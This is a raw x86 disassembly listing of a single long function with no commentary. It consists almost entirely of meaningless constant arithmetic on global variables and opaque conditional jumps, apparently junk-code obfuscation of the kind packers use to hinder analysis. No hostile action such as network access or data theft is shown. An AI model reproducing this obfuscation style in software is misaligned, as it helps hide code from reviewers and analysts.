add dword [0x48c028], 0xd8068cd9
and dword [0x499840], 0x506c0f5d
dec dword [0x48ed4c]
and dword [0x4923c4], 0xafe85274
mov ax, word [0x484814]
lea ecx, [eax + 1]
mov word [0x484814], cx
cwde
add eax, 0x101be842
mov ecx, dword [0x490b6c]
dec ecx
mov dword [0x490b6c], ecx
and ecx, 0xc00785d6
mov edx, dword [0x4989c8]
xor edx, ecx
cmp eax, edx
jne 0x4063f7
and dword [0x490104], 0x1b99ee4b
jmp 0x406408
mov ax, word [0x485720]
add eax, 0x713
mov word [0x485720], ax
mov eax, dword [0x48c274]
inc eax
mov dword [0x48c274], eax
mov cx, word [0x489696]
movsx ecx, cx
add ecx, 0xfbc71d86
or ecx, eax
and dword [0x4933bc], ecx
mov eax, dword [0x493bc0]
add eax, 0x1e0c
xor eax, 0x1b00
mov cx, word [0x4820f8]
add ecx, eax
mov word [0x4820f8], cx
mov eax, dword [0x48efb0]
or eax, 0x998b
mov cx, word [0x480bda]
xor ecx, eax
mov word [0x480bda], cx
mov ax, word [0x486aee]
dec eax
mov word [0x486aee], ax
cwde
imul eax, eax, 0x7f813667
add eax, 0xe31fc072
mov ecx, dword [0x49a378]
imul ecx, eax
mov dword [0x49a378], ecx
mov ax, word [0x488a5e]
cwde
add eax, 0xa5efd33
mov ecx, dword [0x48ee40]
add ecx, ecx
cmp eax, ecx
jne 0x4064b5
mov eax, dword [0x49c488]
imul eax, eax, 0xadaf0774
or dword [0x495cd4], eax
dec dword [0x4966ec]
or dword [0x494378], 0x6408c884
mov eax, dword [0x48e558]
imul eax, eax, 0x99ee55fd
mov dword [0x48e558], eax
mov ax, word [0x486098]
and eax, 0x3acf
mov word [0x486098], ax
mov eax, dword [0x49b658]
mov ecx, dword [0x494214]
lea edx, [ecx - 1]
mov dword [0x494214], edx
mov edx, dword [0x48dee8]
shl edx, 4
and edx, ecx
xor edx, eax
cmp edx, 0x3d9d26fd
jl 0x406519
xor dword [0x490644], 0x36adf3fe
mov eax, dword [0x48e2c0]
imul eax, eax, 0xc8705740
mov dword [0x48e2c0], eax
and dword [0x49bc6c], 0x77fdd30
mov eax, dword [0x490770]
and dword [0x49bcd8], 0xab9e14fa
add dword [0x49c6f4], 0xfe63ad9
add dword [0x48a7cc], 0xbf5f671
mov eax, dword [0x4987a0]
xor eax, 0x7499c351
mov dword [0x492088], eax
mov dword [0x48e588], 0x946bd520
mov ax, word [0x488c5e]
lea ecx, [eax - 1]
mov word [0x488c5e], cx
cwde
imul eax, eax, 0x36989dbd
xor eax, 0x63c879a3
or dword [0x48d7f4], eax
mov eax, dword [0x499e28]
lea ecx, [eax - 1]
mov dword [0x499e28], ecx
cmp eax, 0x40af907a
jg 0x4065b0
add dword [0x48be30], 0x96ffd283
mov ax, word [0x485056]
cwde
mov ecx, dword [0x4957b4]
imul ecx, eax
mov dword [0x4957b4], ecx
mov eax, dword [0x4970f0]
xor eax, 0x34b256fb
mov ecx, dword [0x4974ac]
imul ecx, eax
mov dword [0x4974ac], ecx
mov eax, dword [0x491a54]
and eax, 0x50124090
or eax, 0x81453627
mov ecx, dword [0x49bce0]
sub ecx, eax
mov dword [0x49bce0], ecx
mov ax, word [0x480b64]
cwde
mov ecx, dword [0x48ed08]
or ecx, eax
or ecx, 0x482acff2
mov dword [0x48ed08], ecx
mov eax, dword [0x493700]
lea ecx, [eax - 1]
mov dword [0x493700], ecx
and eax, 0x95909e19
or dword [0x48e290], eax
mov eax, dword [0x48a7b4]
mov ax, word [0x487034]
inc eax
mov word [0x487034], ax
mov dword [0x48a154], 0x662b1cb2
mov eax, dword [0x48e9e0]
imul eax, eax, 0x9409c50c
add dword [0x492734], eax
mov eax, dword [0x48ad80]
add eax, 0xd4add468
mov dword [0x48e894], eax
mov eax, dword [0x4941c4]
mov ecx, 0x6ae879b6
sub ecx, eax
or dword [0x497708], ecx
mov ax, word [0x482960]
cwde
sar eax, 1
xor dword [0x4981b0], eax
add dword [0x49c4d8], 0x45af2c33
mov dword [0x49a7cc], 0x910dd0
mov ax, word [0x4887fc]
imul eax, eax, 0x378e
mov word [0x4887fc], ax
mov eax, dword [0x48d670]
cmp eax, 0x7d0892ae
jne 0x4066da
mov eax, dword [0x49af44]
sar eax, 3
or eax, 0xab1738b7
mov ecx, dword [0x4954a4]
sub ecx, eax
mov dword [0x4954a4], ecx
mov ax, word [0x480fd2]
inc eax
mov word [0x480fd2], ax
cwde
xor eax, 0xd00210
and dword [0x4920dc], eax
add dword [0x49ba78], 0xa6f18ab0
mov ax, word [0x4819d4]
imul eax, eax, 0xffffffd9
mov word [0x4819d4], ax
mov eax, dword [0x48c49c]
lea ecx, [eax - 1]
mov dword [0x48c49c], ecx
mov ecx, dword [0x492df8]
add ecx, 0xa6cd5c10
and ecx, 0xe913852b
cmp eax, ecx
je 0x40673a
or dword [0x48bfc0], 0xe90ee9c6
add dword [0x49c778], 0x78b864fd
mov ax, word [0x482a3a]
cwde
mov ecx, 0x8cd3625b
sub ecx, eax
mov eax, dword [0x48edf8]
or eax, ecx
mov ecx, dword [0x494140]
sub ecx, eax
mov dword [0x494140], ecx
mov eax, dword [0x490d98]
not eax
or dword [0x48a228], eax
mov eax, dword [0x495718]
sar eax, 5
add eax, 0x5b8bd61a
mov ecx, dword [0x49a4d8]
and ecx, eax
cmp ecx, 0x4427b4e
jg 0x4067a1
mov eax, dword [0x491920]
imul eax, eax, 0xa001cb78
mov dword [0x491920], eax
mov eax, dword [0x493cf8]
mov ecx, dword [0x49383c]
add ecx, 0x3fbbe6bd
xor ecx, eax
cmp ecx, 0xd63aa65d
jl 0x4067df
mov eax, dword [0x48b278]
lea ecx, [eax + 1]
mov dword [0x48b278], ecx
add eax, 0xb749
mov cx, word [0x484f86]
or ecx, eax
mov word [0x484f86], cx
or dword [0x492b60], 0x3433a4e8
xor dword [0x48fdcc], 0xdf1d250f
mov word [0x482b36], 0x44dc
mov eax, dword [0x4917f8]
lea ecx, [eax - 1]
mov dword [0x4917f8], ecx
add eax, 0x2e6be020
mov ecx, dword [0x491284]
and ecx, eax
cmp ecx, 0xe1808401
jl 0x406829
add dword [0x48e2fc], 0xcf7f7f18
and dword [0x48fbe0], 0x10814e5a
mov eax, dword [0x491b18]
xor eax, 0x78592d88
cmp eax, 0x46d28b22
jg 0x40684e
add dword [0x49277c], 0xe012701
mov dword [esp], 0x477bf5
call fcn.0041a480
mov cx, word [0x4891b0]
xor ecx, 0x7d80
mov word [0x4891b0], cx
mov ecx, dword [0x495a78]
mov cx, word [0x48500e]
movsx ecx, cx
not ecx
imul ecx, ecx, 0x587ab690
and ecx, 0xd1f6e220
or dword [0x49802c], ecx
mov ecx, dword [0x48a838]
cmp ecx, 0xfdffca9c
jl 0x4068c7
mov ecx, dword [0x491a20]
lea edx, [ecx - 1]
mov dword [0x491a20], edx
or ecx, 0xac454ac8
cmp ecx, 0xf3071fa7
ja 0x4068c7
or dword [0x48b3fc], 0xeb91c10d
mov ecx, dword [0x48c7d8]
mov ecx, dword [0x4910f0]
xor ecx, 0x81dd4658
mov dword [0x48e358], ecx
mov cx, word [0x4883fe]
add ecx, 0x5249
mov word [0x4883fe], cx
mov dword [0x495e60], 0xab10443b
mov ecx, dword [0x493e9c]
cmp ecx, 0x7cfd9ee1
jne 0x40692e
mov cx, word [0x481fd8]
movsx ecx, cx
mov edx, dword [0x49a390]
imul ecx, ecx, 0x933d9d89
lea ecx, [edx + ecx + 0x257b2237]
mov dword [0x49a390], ecx
or dword [0x49a680], 0xe4999d50
mov cx, word [0x485e6a]
movsx ecx, cx
sar ecx, 2
add ecx, 0xb5e185f4
or dword [0x48f56c], ecx
mov ecx, dword [0x49498c]
shl ecx, 7
xor ecx, 0xb202e405
or dword [0x48e8a0], ecx
mov ecx, dword [0x499ca8]
add ecx, 0x4e23e9d9
cmp ecx, 0x7422905b
jg 0x406994
mov ecx, dword [0x492de4]
imul ecx, ecx, 0xed24151a
cmp ecx, 0x818480a0
je 0x406994
mov ecx, dword [0x493d28]
mov cx, word [0x484e20]
lea edx, [ecx + 1]
mov word [0x484e20], dx
movsx ecx, cx
or ecx, 0x11274085
xor dword [0x48d028], ecx
mov cx, word [0x481008]
movsx ecx, cx
mov dword [0x490098], ecx
mov cx, word [0x489c06]
lea edx, [ecx + 1]
mov word [0x489c06], dx
movsx ecx, cx
and ecx, 0x63034da4
cmp ecx, 0xa000821
jb 0x4069ef
mov word [0x482a62], 0x410
mov cx, word [0x481c82]
dec ecx
mov word [0x481c82], cx
movsx ecx, cx
mov edx, dword [0x48ae30]
sar edx, 9
add edx, 0x7fe5b2f7
or edx, ecx
mov ecx, dword [0x4957e4]
inc ecx
mov dword [0x4957e4], ecx
cmp edx, ecx
jne 0x406a4b
mov cx, word [0x484d2e]
movsx ecx, cx
sar ecx, 6
mov edx, 0xf729c5bf
sub edx, ecx
cmp edx, 0x20150d3d
jg 0x406a6c
xor dword [0x495a64], 0x9d7c815d
jmp 0x406a6c
mov ecx, dword [0x48dbec]
lea edx, [ecx - 1]
mov dword [0x48dbec], edx
add ecx, 0xde6d31ea
or ecx, 0x199da87d
xor dword [0x498960], ecx
mov cx, word [0x487480]
movsx ecx, cx
imul ecx, ecx, 0x2accbe83
mov dx, word [0x489182]
movsx edx, dx
not edx
or edx, ecx
cmp edx, 0x98705a6b
jg 0x406a9c
add dword [0x49bbc4], 0xd3ea7299
mov cx, word [0x487882]
lea edx, [ecx - 1]
mov word [0x487882], dx
movsx ecx, cx
imul ecx, ecx, 0x949dc63c
mov dx, word [0x481c24]
inc edx
mov word [0x481c24], dx
movsx edx, dx
xor edx, ecx
or dword [0x48c7dc], edx
mov cx, word [0x487a84]
lea edx, [ecx - 1]
mov word [0x487a84], dx
movsx ecx, cx
mov edx, dword [0x497f4c]
lea ecx, [ecx + edx - 0x9933078]
mov dword [0x497f4c], ecx
mov ecx, dword [0x48d1a0]
not ecx
mov edx, dword [0x49626c]
imul edx, ecx
mov dword [0x49626c], edx
and dword [0x49a7a4], 0x7ee4b843
mov cx, word [0x4841f6]
imul ecx, ecx, 0xffffecde
mov word [0x4841f6], cx
mov ecx, dword [0x4965f0]
lea edx, [ecx + 1]
mov dword [0x4965f0], edx
cmp ecx, 0xbc5eefff
je 0x406b52
mov ecx, dword [0x48b3e4]
sar ecx, 3
add dword [0x490c0c], ecx
mov cx, word [0x486958]
xor ecx, 0xd20a
mov word [0x486958], cx
mov cx, word [0x486328]
add ecx, 0x1fd0
mov word [0x486328], cx
add dword [0x493de0], 0xd683b770
mov cx, word [0x489488]
imul ecx, ecx, 0x2d18
mov word [0x489488], cx
mov ecx, dword [0x48ba30]
or ecx, 0x1bd6f9a3
xor ecx, 0xe429065c
cmp ecx, 0x62ffeffc
jg 0x406bd3
mov cx, word [0x487540]
movsx ecx, cx
shl ecx, 4
cmp ecx, 0xaad8158c
jl 0x406bf3
add dword [0x48ef04], 0x3681798d
jmp 0x406bf3
mov ecx, dword [0x48dd24]
and ecx, 0xc447fb0e
xor ecx, 0x7883f56
mov edx, dword [0x491740]
sub edx, ecx
mov dword [0x491740], edx
or dword [0x48a9f4], 0x35b16c16
mov word [0x4834d6], 0x487e
mov cx, word [0x487b82]
xor ecx, 0x61d9
mov word [0x487b82], cx
mov ecx, dword [0x477bfd]
mov edx, dword [0x49892c]
lea esi, [edx - 1]
mov dword [0x49892c], esi
cmp edx, 0xe40655f1
jg 0x406c48
mov dx, word [0x480ad4]
add dword [0x48abcc], 0x68e124a1
mov dx, word [0x4897ba]
dec edx
mov word [0x4897ba], dx
movsx edx, dx
mov esi, dword [0x491de8]
lea edi, [esi + 1]
mov dword [0x491de8], edi
add edx, esi
cmp edx, 0xc99f84d3
jl 0x406cab
mov edx, dword [0x49b454]
sar edx, 9
xor edx, 0xd18ffa80
mov si, word [0x489282]
inc esi
mov word [0x489282], si
movsx esi, si
mov edi, 0x2c32270c
sub edi, esi
cmp edx, edi
je 0x406cab
mov edx, dword [0x48d6fc]
dec dword [0x499ae4]
mov edx, dword [0x48c23c]
xor edx, 0x1f228184
mov esi, dword [0x492514]
sub esi, edx
mov dword [0x492514], esi
mov edx, dword [0x499ecc]
lea esi, [edx + 1]
mov dword [0x499ecc], esi
xor edx, 0x42490802
cmp edx, 0x445c455d
jg 0x406cec
add dword [0x490f64], 0xdb7efffb
mov edx, dword [0x491924]
imul edx, edx, 0x76bbe7d
mov dword [0x491924], edx
mov edx, dword [0x48ca30]
lea esi, [edx + 1]
mov dword [0x48ca30], esi
cmp edx, 0xb9857264
jl 0x406d1f
add dword [0x48dc24], 0x9509064d
mov edx, dword [0x48ed90]
lea esi, [edx - 1]
mov dword [0x48ed90], esi
add edx, 0xff72c72a
mov esi, dword [0x492c48]
xor esi, edx
xor esi, 0x5c41f39d
mov dword [0x492c48], esi
mov edx, dword [0x48ec8c]
lea esi, [edx - 1]
mov dword [0x48ec8c], esi
or edx, 0xb5d88724
mov dword [0x49a7cc], edx
mov edx, dword [0x48b768]
mov dx, word [0x4862f8]
add edx, 0x6032
mov word [0x4862f8], dx
mov dx, word [0x4843c2]
movsx edx, dx
mov esi, dword [0x48d584]
mov edi, dword [0x492908]
xor edi, esi
xor edi, edx
xor edi, 0xb11de930
mov dword [0x492908], edi
mov edx, dword [0x497cdc]
lea esi, [edx - 1]
mov dword [0x497cdc], esi
xor edx, 0x700ac9a5
cmp edx, 0xce552205
jl 0x406dcc
add dword [0x491354], 0x9c558ce3
jmp 0x406de4
mov edx, dword [0x496590]
cmp edx, 0x8584b06d
jl 0x406de4
xor dword [0x492404], 0xde64ba5b
mov dx, word [0x488b30]
dec edx
mov word [0x488b30], dx
or edx, 0xca2
mov si, word [0x487cfa]
xor esi, edx
mov word [0x487cfa], si
or dword [0x490634], 0x504818a9
add dword [0x49c75c], 0x404c0802
and dword [0x492884], 0xae2e7e17
mov dx, word [0x4828ec]
movsx edx, dx
sar edx, 1
xor edx, 0xd42c8e21
cmp edx, 0xafffb3ee
jg 0x406e76
mov edx, dword [0x48e6d4]
dec edx
mov dword [0x48e6d4], edx
cmp edx, 0x83d07f
je 0x406e76
mov edx, dword [0x48f5d8]
shl edx, 7
mov esi, dword [0x48e1b8]
shl esi, 3
xor esi, edx
xor esi, 0xfc045f05
mov dword [0x48cdf8], esi
mov dx, word [0x489aa8]
movsx edx, dx
imul edx, edx, 0x590eb60f
mov dword [0x4986f8], edx
mov edx, dword [0x498f28]
mov esi, 0x521fcb3e
sub esi, edx
mov dword [0x48bec4], esi
mov dx, word [0x4881fc]
imul edx, edx, 0x4150
mov word [0x4881fc], dx
mov dx, word [0x4842e8]
imul edx, edx, 0xffffe12c
mov word [0x4842e8], dx
mov dx, word [0x4827b0]
movsx edx, dx
xor edx, 0x3039ce7
mov esi, dword [0x49af50]
imul esi, edx
mov dword [0x49af50], esi
mov edx, dword [0x48a26c]
shr edx, 0xa
mov si, word [0x485dfa]
and esi, edx
mov word [0x485dfa], si
mov edx, dword [0x49b754]
lea esi, [edx + 1]
mov dword [0x49b754], esi
and edx, 0x98fdfe82
xor dword [0x497ce0], edx
mov edx, dword [0x49b6e4]
dec edx
mov dword [0x49b6e4], edx
imul edx, edx, 0xa134c847
xor dword [0x48eab4], edx
mov dword [0x4963b0], 0x65a1c04b
mov dword [0x48aed8], 0xf90615f4
mov dx, word [0x484480]
or edx, 0xf47b
mov word [0x484480], dx
mov edx, dword [0x48d3e4]
lea esi, [edx - 1]
mov dword [0x48d3e4], esi
or edx, 0x4e3b9ccb
xor edx, 0xa0006014
add dword [0x4933dc], edx
mov dx, word [0x4823d4]
or edx, 0x79f
mov word [0x4823d4], dx
mov dx, word [0x4881e2]
add edx, 0x280d
mov word [0x4881e2], dx
mov dx, word [0x487eda]
inc edx
mov word [0x487eda], dx
movsx edx, dx
and edx, 0x9c4b9c9
cmp edx, 0x7103203
jb 0x406fd0
and dword [0x498094], 0x41010a94
jmp 0x406fe4
mov dx, word [0x48524a]
xor edx, 0xfce7
mov word [0x48524a], dx
add dword [0x499e84], 0xb6f46409
mov edx, dword [0x48cf94]
imul edx, edx, 0xc1b4e1ff
mov dword [0x48cf94], edx
mov edx, dword [0x492084]
lea esi, [edx + 1]
mov dword [0x492084], esi
add edx, 0x18026b30
xor edx, 0xbffa6dd3
cmp edx, 0x22019179
jl 0x40703f
mov dx, word [0x484daa]
lea esi, [edx + 1]
mov word [0x484daa], si
movsx edx, dx
mov dword [0x48c5a4], edx
jmp 0x407049
or dword [0x48a818], 0x17730f88
mov edx, dword [0x48e330]
shl edx, 5
add edx, 0x6efb520e
and edx, 0x67f704ea
mov esi, dword [0x49c5c4]
shl esi, 6
xor esi, 0x384b2bc8
cmp edx, esi
jge 0x40707d
and dword [0x4926f4], 0xea8eb046
jmp 0x407093
mov edx, dword [0x48e924]
mov si, word [0x48568c]
add esi, edx
mov word [0x48568c], si
mov dx, word [0x483e18]
movsx edx, dx
sar edx, 0xa
add edx, 0x9119f9b2
or dword [0x49c1dc], edx
dec dword [0x491350]
mov dx, word [0x480f76]
imul edx, edx, 0x904
mov word [0x480f76], dx
mov edx, dword [0x4970c8]
imul edx, edx, 0x8ef7a0c5
mov dword [0x4970c8], edx
mov dx, word [0x484cbe]
imul edx, edx, 0x6113
mov word [0x484cbe], dx
mov word [0x484150], 0x22e4
inc dword [0x48e338]
mov edx, dword [0x48d15c]
inc dword [0x490d68]
mov edx, dword [0x491248]
imul edx, edx, 0xbaf8bd6a
mov dword [0x491248], edx
mov dx, word [0x489f0e]
mov dx, word [0x480c6c]
movsx edx, dx
add edx, 0x4df5f76c
or edx, 0x2096055
mov si, word [0x48362c]
movsx esi, si
sar esi, 6
add esi, 0x7a971d19
mov edi, dword [0x4921e4]
and edi, esi
cmp edx, edi
jg 0x407176
mov edx, dword [0x493008]
lea esi, [edx + 1]
mov dword [0x493008], esi
add edx, 0x1105054f
xor edx, 0x7830d6d
add dword [0x48e05c], edx
mov dx, word [0x481a90]
add edx, 0x4277
mov word [0x481a90], dx
mov edx, dword [0x494998]
inc edx
mov dword [0x494998], edx
mov esi, dword [0x49ba38]
imul esi, edx
mov dword [0x49ba38], esi
mov edx, dword [0x495788]
shl edx, 9
cmp edx, 0x54b8296f
jg 0x4071e4
mov edx, dword [0x48d2b4]
inc edx
mov dword [0x48d2b4], edx
mov esi, dword [0x498118]
sar esi, 3
imul esi, edx
cmp esi, 0xe3290ee0
jg 0x40720a
add dword [0x494104], 0x4aa54362
jmp 0x407217
mov edx, dword [0x4991a8]
lea esi, [edx + 1]
mov dword [0x4991a8], esi
add edx, 0x1626a595
mov esi, dword [0x48a1a0]
imul esi, edx
mov dword [0x48a1a0], esi
jmp 0x407217
mov edx, dword [0x48cc24]
mov word [0x483e0a], dx
mov edx, dword [0x49bca8]
mov esi, dword [0x49b64c]
add esi, edx
mov edx, dword [0x48b63c]
or edx, esi
or edx, 0xe6964a4f
mov dword [0x48b63c], edx
xor dword [0x48e8f0], 0x28078
mov dx, word [0x48364a]
movsx edx, dx
imul edx, edx, 0x8e3c54ff
cmp edx, 0x56fffc7c
jg 0x407267
add dword [0x498804], 0x28028913
jmp 0x40727b
mov dx, word [0x4844de]
xor edx, 0x288e
mov word [0x4844de], dx
mov dx, word [0x4854ea]
xor edx, 0x70db
mov word [0x4854ea], dx
mov edx, dword [0x49a5fc]
add edx, 0x93fa976a
and dword [0x49822c], edx
mov edx, dword [0x49c270]
dec edx
mov dword [0x49c270], edx
imul edx, edx, 0x2505d19a
mov si, word [0x485786]
or esi, edx
mov word [0x485786], si
add dword [0x49a694], 0x4ccb9f81
mov dx, word [0x489746]
mov edx, dword [0x48eb30]
lea esi, [edx + 1]
mov dword [0x48eb30], esi
add edx, 0x1ce9
xor edx, 0xb210
mov word [0x486e2e], dx
add dword [0x4980f8], 0xc56d4726
mov edx, dword [0x490b18]
imul edx, edx, 0xdd5e3db8
mov dword [0x490b18], edx
xor dword [0x492b6c], 0x732efa7b
mov edx, dword [0x497ba4]
lea esi, [edx + 1]
mov dword [0x497ba4], esi
mov esi, dword [0x491138]
imul esi, edx
imul edx, esi, 0x13c29ce4
cmp edx, 0x34f478b6
jg 0x407365
mov edx, dword [0x495230]
cmp edx, 0xb7aa22d1
jl 0x407379
mov edx, dword [0x49187c]
or edx, 0x74022bc0
and dword [0x49bcd4], edx
jmp 0x40737f
mov edx, dword [0x493224]
add edx, 0x549ae52c
mov dword [0x4943fc], edx
jmp 0x40737f
mov edx, dword [0x48d578]
mov edx, dword [0x4947ec]
mov esi, dword [0x48ffc4]
imul esi, edx
imul edx, esi, 0x6b567c3c
mov dword [0x48ffc4], edx
mov word [0x488752], 0x8023
mov edx, dword [0x495e40]
dec edx
mov dword [0x495e40], edx
mov esi, dword [0x48de40]
imul esi, edx
mov dword [0x48de40], esi
or dword [0x49a180], 0x374fde20
dec dword [0x490bc8]
mov edx, dword [0x49a438]
lea esi, [edx + 1]
mov dword [0x49a438], esi
and edx, 0x762ca2b3
mov dword [0x493c68], edx
mov edx, dword [0x490d70]
lea esi, [edx + 1]
mov dword [0x490d70], esi
add edx, 0x5ef2415b
or edx, 0x9d601d30
mov esi, dword [0x492b58]
imul esi, edx
mov dword [0x492b58], esi
mov edx, dword [0x48dc10]
imul edx, edx, 0x35a6fa50
mov dword [0x48dc10], edx
or dword [0x48e3c8], 0x92c9b903
mov edx, dword [0x48a6a4]
lea esi, [edx + 1]
mov dword [0x48a6a4], esi
mov esi, 0x43c3aa86
sub esi, edx
mov dword [0x495350], esi
add dword [0x499438], 0xa3e4de52
and dword [0x491d6c], 0x546ce8c1
mov edx, dword [0x48e228]
dec edx
mov dword [0x48e228], edx
mov esi, dword [0x492cb4]
inc esi
mov dword [0x492cb4], esi
or esi, edx
or esi, 0x9b148862
and dword [0x48a8dc], esi
add dword [0x49b830], 0x559de4e0
xor dword [0x495dd8], 0x63b944ba
mov dx, word [0x48505e]
add edx, 0xffffa6bc
mov si, word [0x483fe4]
and esi, edx
mov word [0x483fe4], si
mov edx, dword [0x499ea0]
shl edx, 6
mov si, word [0x482250]
lea edi, [esi + 1]
mov word [0x482250], di
movsx esi, si
add esi, 0xb9019c67
or esi, edx
cmp esi, 0xfbd6cec8
jl 0x4074f9
mov dx, word [0x484e60]
movsx edx, dx
shl edx, 0xa
mov dword [0x494bf0], edx
mov dx, word [0x488222]
xor edx, 0x4c49
mov word [0x488222], dx
mov edx, dword [0x49c9ec]
sar edx, 4
mov esi, dword [0x48f340]
imul esi, edx
imul edx, esi, 0x8be7fda3
mov dword [0x48f340], edx
mov edx, dword [0x49bb50]
add edx, 0x1533
or edx, 0xdc84
mov si, word [0x48446a]
xor esi, edx
mov word [0x48446a], si
xor dword [0x49c950], 0x518b2928
mov edx, dword [0x493754]
lea esi, [edx + 1]
mov dword [0x493754], esi
mov si, word [0x483562]
movsx esi, si
shl esi, 2
or esi, 0x8951b75c
cmp edx, esi
jne 0x4075a4
mov dx, word [0x4858cc]
movsx edx, dx
and edx, 0xfffffffc
cmp edx, 0x9a18c91c
jne 0x4075a4
mov edx, dword [0x49347c]
xor edx, 0x603a6ae0
mov dword [0x490374], edx
or dword [0x48fecc], 0xf3efd5b7
xor dword [0x48c56c], 0x739ce87e
add dword [0x49a360], 0xfddbfb77
mov dx, word [0x4836c2]
add edx, 0x1e41
mov word [0x4836c2], dx
mov dx, word [0x482a98]
movsx edx, dx
add edx, 0x5b4a457
mov esi, dword [0x48e8a4]
lea edi, [esi - 1]
mov dword [0x48e8a4], edi
sub edx, esi
cmp edx, 0x64cca461
jl 0x40762a
mov edx, dword [0x49312c]
lea esi, [edx + 1]
mov dword [0x49312c], esi
or edx, 0x84f8
mov si, word [0x4886ac]
xor esi, edx
xor esi, 0x2000
mov word [0x4886ac], si
mov edx, dword [0x498b7c]
and dword [0x495af8], edx
mov edx, dword [0x48e3bc]
lea esi, [edx + 1]
mov dword [0x48e3bc], esi
add edx, 0xf403a4e0
cmp edx, 0x63fbe591
jg 0x407676
mov dx, word [0x487a34]
inc edx
mov word [0x487a34], dx
mov dx, word [0x488150]
add edx, 0x7b30
mov word [0x488150], dx
mov edx, dword [0x496428]
lea esi, [edx + 1]
mov dword [0x496428], esi
imul edx, edx, 0xb810c817
mov si, word [0x4838c2]
lea edi, [esi - 1]
mov word [0x4838c2], di
movsx esi, si
imul esi, esi, 0x163fb659
add esi, 0x71e5faca
cmp edx, esi
jle 0x4076c5
mov dx, word [0x481dfa]
or edx, 0x3c62
mov word [0x481dfa], dx
jmp 0x4076fe
mov edx, dword [0x490e08]
inc edx
mov dword [0x490e08], edx
mov esi, dword [0x48c520]
and esi, edx
or esi, 0xe74a78c6
mov dx, word [0x48214a]
movsx edx, dx
imul edx, edx, 0xd5f6d200
cmp esi, edx
jge 0x4076fe
add dword [0x49167c], 0x30bd1d73
mov edx, dword [0x49508c]
lea esi, [edx + 1]
mov dword [0x49508c], esi
cmp edx, 0x64ca4c6e
jne 0x407731
mov dx, word [0x4835ee]
movsx edx, dx
add edx, 0xdd861d4f
xor edx, 0xf73181c7
or dword [0x491fd4], edx
mov dx, word [0x483bea]
add edx, 0x2d83
mov word [0x483bea], dx
mov dword [0x497e08], 0xc843115e
xor dword [0x494018], 0x7c91c466
mov dx, word [0x48481a]
inc edx
mov word [0x48481a], dx
mov edx, dword [0x48c118]
add edx, 0x47757a8a
and dword [0x48d5b4], edx
mov edx, dword [0x49af74]
lea esi, [edx + 1]
mov dword [0x49af74], esi
cmp edx, 0xdfe88bb
jl 0x4077c2
mov edx, dword [0x49cc7c]
add edx, 0x4871b15c
and edx, 0x625ff5e4
mov esi, dword [0x495e10]
mov edi, 0x9227b0ea
sub edi, esi
or edi, 0x5f3a579c
cmp edx, edi
jg 0x4077fb
dec dword [0x48cf70]
jmp 0x4077fb
mov edx, dword [0x49ba3c]
sar edx, 0xa
or edx, 0x32012596
mov si, word [0x484316]
lea edi, [esi + 1]
mov word [0x484316], di
movsx esi, si
and esi, 0x9756fa59
cmp edx, esi
jle 0x4077fb
dec dword [0x4996b8]
mov edx, dword [0x492210]
mov edx, dword [0x497988]
mov esi, dword [0x499904]
lea edi, [esi + 1]
mov dword [0x499904], edi
or edx, esi
cmp edx, 0x33aee7c9
jg 0x40782e
mov edx, dword [0x493f88]
imul edx, edx, 0xe96b072c
mov dword [0x495024], edx
jmp 0x40785a
mov edx, dword [0x499058]
or edx, 0x67b17976
mov esi, dword [0x496464]
not esi
cmp edx, esi
jle 0x40785a
mov dx, word [0x483c2a]
add edx, 0x7c97
mov word [0x483c2a], dx
mov edx, dword [0x48bf74]
dec edx
mov dword [0x48bf74], edx
or edx, 0x9e3c6ccb
add dword [0x48acb8], edx
mov edx, dword [0x48ebf8]
mov esi, dword [0x499954]
dec esi
xor edx, esi
mov dword [0x499954], esi
not edx
or dword [0x499ab8], edx
mov edx, dword [0x497d48]
sar edx, 5
add edx, 0xfef1307f
mov esi, dword [0x49bce4]
sar esi, 6
and esi, 0xda4f5191
cmp edx, esi
jge 0x4078be
and dword [0x48c6fc], 0xbcb08884
jmp 0x4078c8
add dword [0x48e3f4], 0x566e2218
add dword [0x498268], 0x766eec8b
and dword [0x49be24], 0xca84b892
mov edx, dword [0x4974f4]
inc edx
mov dword [0x4974f4], edx
cmp edx, 0x10526
jg 0x407903
mov edx, dword [0x49201c]
or edx, 0x18475206
and dword [0x490df0], edx
add dword [0x48ad44], 0x6e0b468e
mov dx, word [0x4840ba]
dec edx
mov word [0x4840ba], dx
movsx edx, dx
add edx, 0x56f4d5ec
cmp edx, 0x99612fc2
jg 0x407938
mov word [0x4847ee], 0x6cda
jmp 0x40794b
mov edx, dword [0x49790c]
dec edx
mov dword [0x49790c], edx
or dword [0x495b98], edx
mov edx, dword [0x49b3fc]
imul edx, edx, 0x2cc96dc7
mov dword [0x49b3fc], edx
mov edx, dword [0x492a40]
mov dx, word [0x489c70]
add edx, 0xfffff73e
mov word [0x489c70], dx
mov edx, dword [0x48af00]
dec edx
mov dword [0x48af00], edx
mov si, word [0x489c16]
imul esi, edx
imul edx, esi, 0x82a77dbe
mov word [0x489c16], dx
mov edx, dword [0x4926f0]
shl edx, 0xa
add edx, 0x25ccfeaf
or edx, 0x78e32817
mov esi, dword [0x4932d4]
not esi
cmp edx, esi
jl 0x4079da
mov edx, dword [0x490658]
not edx
mov si, word [0x486d44]
and esi, edx
and esi, 0xda56
mov word [0x486d44], si
mov dword [0x490c54], 0x40f1978b
mov edx, dword [0x49361c]
mov si, word [0x480a14]
movsx esi, si
neg esi
lea edx, [edx + esi + 0x488ad674]
xor dword [0x49509c], edx
mov edx, dword [0x49b4b4]
imul edx, edx, 0xcb531a1e
xor dword [0x498304], edx
mov edx, dword [0x49490c]
dec edx
mov dword [0x49490c], edx
imul edx, edx, 0x4a7eae81
or edx, 0xa446b27f
mov esi, dword [0x494964]
sub esi, edx
mov dword [0x494964], esi
mov edx, dword [0x49080c]
mov si, word [0x482a1c]
mov edi, 0xffff3112
sub edi, edx
add edi, esi
mov word [0x482a1c], di
add dword [0x490ce8], 0x401d0d09
mov edx, dword [0x490d48]
dec edx
mov dword [0x490d48], edx
imul edx, edx, 0xa2eea8c
cmp edx, 0x92e7effe
jl 0x407a9e
mov edx, dword [0x48cd24]
shl edx, 2
and edx, 0x488cbb64
mov esi, dword [0x48afa0]
imul esi, edx
mov dword [0x48afa0], esi
jmp 0x407acb
mov dx, word [0x487274]
movsx edx, dx
mov esi, dword [0x496aa0]
imul esi, edx
cmp esi, 0x456aac37
jl 0x407acb
mov edx, dword [0x48d604]
add edx, 0x2c5c52dd
or dword [0x48a154], edx
mov dx, word [0x4816f2]
or edx, 0x58b2
mov word [0x4816f2], dx
mov edx, dword [0x493dac]
